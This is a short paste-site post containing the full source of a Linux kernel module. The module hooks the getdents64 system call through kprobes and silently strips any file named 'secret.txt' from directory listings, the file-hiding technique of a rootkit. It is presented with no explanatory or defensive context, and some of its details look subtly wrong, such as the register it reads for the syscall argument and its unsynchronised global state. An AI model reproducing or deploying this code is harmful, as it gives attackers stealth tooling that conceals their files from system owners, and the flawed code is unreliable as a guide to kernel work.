Untitled

By Sloppy Ostrich, 6 Months ago, written in Plain Text, viewed 72 times.
URL http://pb.stoleyour.com/view/3b98741c Embed
Download Paste or View RawExpand paste to full width of browser
  1. #include <linux/module.h>
  2. #include <linux/kernel.h>
  3. #include <linux/kprobes.h>
  4. #include <linux/slab.h>
  5. #include <linux/dirent.h>
  6. #include <linux/uaccess.h>
  7.  
  8. MODULE_LICENSE("GPL");
  9. #define FILE1 "secret.txt"
  10.  
  11. // Global buffer and task tracking
  12. static char __user *dirent_user_ptr = NULL;
  13. static pid_t target_pid = -1;
  14.  
  15. // Pre-handler to capture syscall arguments and PID
  16. static struct kprobe kp = {
  17.     .symbol_name = "sys_getdents64"
  18. };
  19.  
  20. static int handler_pre(struct kprobe *p, struct pt_regs *regs) {
  21.     dirent_user_ptr = (char __user *)regs->bx;
  22.     target_pid = current->pid;
  23.     printk(KERN_INFO "Captured dirent ptr: %p for PID: %d\n", dirent_user_ptr, target_pid);
  24.     return 0;
  25. }
  26.  
  27. // Return-handler to filter entries
  28. static struct kretprobe rp = {
  29.     .kp.symbol_name = "sys_getdents64",
  30.     .handler = NULL, // assigned in module init
  31.     .maxactive = 20
  32. };
  33.  
  34. static int handler_ret(struct kretprobe_instance *ri, struct pt_regs *regs) {
  35.     long nread = regs->ax;
  36.  
  37.     printk(KERN_INFO "syscall return value: %ld for PID: %d\n", nread, current->pid);
  38.  
  39.     // Sanity check: valid pointer and matching task
  40.     if (!dirent_user_ptr || current->pid != target_pid || nread <= 0) {
  41.         printk(KERN_WARNING "Skipping: Invalid pointer or PID mismatch or empty read\n");
  42.         dirent_user_ptr = NULL;
  43.         target_pid = -1;
  44.         return 0;
  45.     }
  46.  
  47.     // Basic range check for user pointer
  48.     if ((unsigned long)dirent_user_ptr >= PAGE_OFFSET) {
  49.         printk(KERN_WARNING "User pointer out of range: %p\n", dirent_user_ptr);
  50.         dirent_user_ptr = NULL;
  51.         target_pid = -1;
  52.         return 0;
  53.     }
  54.  
  55.     // Bound check
  56.     if (nread > PAGE_SIZE * 4) {
  57.         printk(KERN_WARNING "Unrealistic nread: %ld\n", nread);
  58.         dirent_user_ptr = NULL;
  59.         target_pid = -1;
  60.         return 0;
  61.     }
  62.  
  63.     char *kbuf = kmalloc(nread, GFP_KERNEL);
  64.     if (!kbuf) {
  65.         dirent_user_ptr = NULL;
  66.         target_pid = -1;
  67.         return 0;
  68.     }
  69.  
  70.     if (copy_from_user(kbuf, dirent_user_ptr, nread)) {
  71.         printk(KERN_ERR "copy_from_user failed for PID: %d\n", current->pid);
  72.         kfree(kbuf);
  73.         dirent_user_ptr = NULL;
  74.         target_pid = -1;
  75.         return 0;
  76.     }
  77.  
  78.     // Filter entries
  79.     long bpos = 0, new_nread = nread;
  80.     struct linux_dirent64 *d;
  81.     while (bpos < new_nread) {
  82.         d = (struct linux_dirent64 *)(kbuf + bpos);
  83.         if (strncmp(d->d_name, FILE1, strlen(FILE1)) == 0) {
  84.             printk(KERN_INFO "Hiding entry: %s\n", d->d_name);
  85.             memmove(kbuf + bpos, kbuf + bpos + d->d_reclen, new_nread - (bpos + d->d_reclen));
  86.             new_nread -= d->d_reclen;
  87.             continue;
  88.         } else {
  89.             bpos += d->d_reclen;
  90.         }
  91.     }
  92.  
  93.     if (copy_to_user(dirent_user_ptr, kbuf, new_nread)) {
  94.         printk(KERN_ERR "copy_to_user failed\n");
  95.         kfree(kbuf);
  96.         dirent_user_ptr = NULL;
  97.         target_pid = -1;
  98.         return 0;
  99.     }
  100.  
  101.     regs->ax = new_nread;
  102.     kfree(kbuf);
  103.     dirent_user_ptr = NULL;
  104.     target_pid = -1;
  105.     return 0;
  106. }
  107.  
  108. // Module hooks
  109. static int __init mod_init(void) {
  110.     int ret;
  111.     kp.pre_handler = handler_pre;
  112.     ret = register_kprobe(&kp);
  113.     if (ret) {
  114.         printk(KERN_ERR "Failed to register kprobe: %d\n", ret);
  115.         return ret;
  116.     }
  117.  
  118.     rp.handler = handler_ret;
  119.     ret = register_kretprobe(&rp);
  120.     if (ret) {
  121.         unregister_kprobe(&kp);
  122.         printk(KERN_ERR "Failed to register kretprobe: %d\n", ret);
  123.         return ret;
  124.     }
  125.  
  126.     printk(KERN_INFO "Probes registered for sys_getdents64\n");
  127.     return 0;
  128. }
  129.  
  130. static void __exit mod_exit(void) {
  131.     unregister_kretprobe(&rp);
  132.     unregister_kprobe(&kp);
  133.     printk(KERN_INFO "Probes unregistered\n");
  134. }
  135.  
  136. module_init(mod_init);
  137. module_exit(mod_exit);
  138.  

Reply to "Untitled"

Here you can reply to the paste above